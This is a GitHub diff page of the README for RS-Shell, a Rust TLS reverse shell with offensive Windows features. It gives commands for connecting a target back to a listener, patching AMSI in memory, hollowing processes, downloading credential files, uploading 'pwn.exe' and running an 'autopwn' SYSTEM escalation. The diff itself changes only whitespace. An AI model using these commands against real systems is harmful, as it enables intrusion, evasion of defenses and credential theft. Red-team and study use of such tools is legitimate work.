You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: README.md
+8-1Lines changed: 8 additions & 1 deletion
Original file line number
Diff line number
Diff line change
@@ -1,12 +1,15 @@
1
1
*"The worst Rust programmer you have ever seen"* - my mom
2
+
2
3
*"But at least it works"* - still my mom, but not about me
3
4
4
5
# RS-Shell
5
6
6
7
RS-Shell is a TLS over TCP reverse shell developped in Rust with client and server embedded in the same binary. This project has been mainly started to learn Rust with a tool that could help me in my work, and the code quality could be greatly improved.
8
+
7
9
Client and server are both cross-platform and work on Windows and Linux systems.
8
10
9
11
For Windows client, additonal features have been integrated for offensive purpose, and they will be improved in futur commits.
12
+
10
13
For this purpose, I have chosen to mainly use the official [windows_sys](https://docs.rs/windows-sys/latest/windows_sys/) crate to interact with the Win32API and the [ntapi](https://docs.rs/ntapi/latest/ntapi/) crate for the NTAPI.
11
14
12
15
The project is thought in module. This means that you can easily add or remove features to and from it, and you can also easily take parts from it to put them in your own project.
@@ -29,14 +32,16 @@ For the moment, the following features are present:
29
32
### Setup
30
33
31
34
First of all, the full path of your TLS certificate and its password must be configured in the file `server.rs` in place of the tags `[CERTFICATE_PATH]` and `[CERTIFICATE_PASSWORD]`.
35
+
32
36
Additionally, I have set a `dummy` domain for hostname validation in the `connect()` function for both clients. If you use a signed certificate for a real server, you can change it and remove the unsecure functions that remove hostname and certs validations.
33
37
34
38
By default, only the `error`, `warn` and `info` logs are displayed. If you also need the `debug` ones (can be usefull for the loading features), you can change this in `main.rs` by modifying `::log::set_max_level(LevelFilter::Info);` to `::log::set_max_level(LevelFilter::Debug);`.
35
39
36
40
### Compilation
37
41
38
42
The project can be compiled with `cargo build --release` on Windows or Linux and the binary will be present in `target/release/`.
39
-
Tu compile for a different target than your current OS you can use `cargo build --release --target x86_64-unknown-linux-gnu`
43
+
44
+
Tu compile for a different target than your current OS you can use `cargo build --release --target x86_64-unknown-linux-gnu`.
40
45
41
46
The project compilation has been tested with the following Rust toolchains :
42
47
@@ -62,6 +67,7 @@ Usage : shell.exe [l | c] IP port
62
67
```
63
68
64
69
To obtain a session, just launch the binary in listener mode on your machine with `rs-shell.exe l IP_to_bind_to port_to_bind_to`. For example `rs-shell.exe l 0.0.0.0 4545`.
70
+
65
71
Then, on the target machine launch the client to connect back to your server with `rs-shell.exe c IP_to_connect_to port_to_connect_to`. For example `rs-shell.exe c 192.168.1.10 4545`.
66
72
67
73
### Advanced commands
@@ -104,6 +110,7 @@ For example : `> load -h C:\Windows\System32\calc.exe C:\Windows\System32\cmd.ex
104
110
`powpow` starts an interactive PowerShell session with a PowerShell process where the AMSI `ScanBuffer` function has been patched in memory. This feature is not particularly opsec.
105
111
106
112
`download` permits to download a file from the client to the machine where the listener is running. For example `download C:\Users\Administrator\Desktop\creds.txt ./creds.txt`.
113
+
107
114
`upload` permits to upload a file on the client machine. For example `upload ./pwn.exe C:\Temp\pwn.exe`.
108
115
109
116
`autopwn` permits to escalate to the **SYSTEM account** with a 0day exploitation. Just type `autopwn` and answer the question.
0 commit comments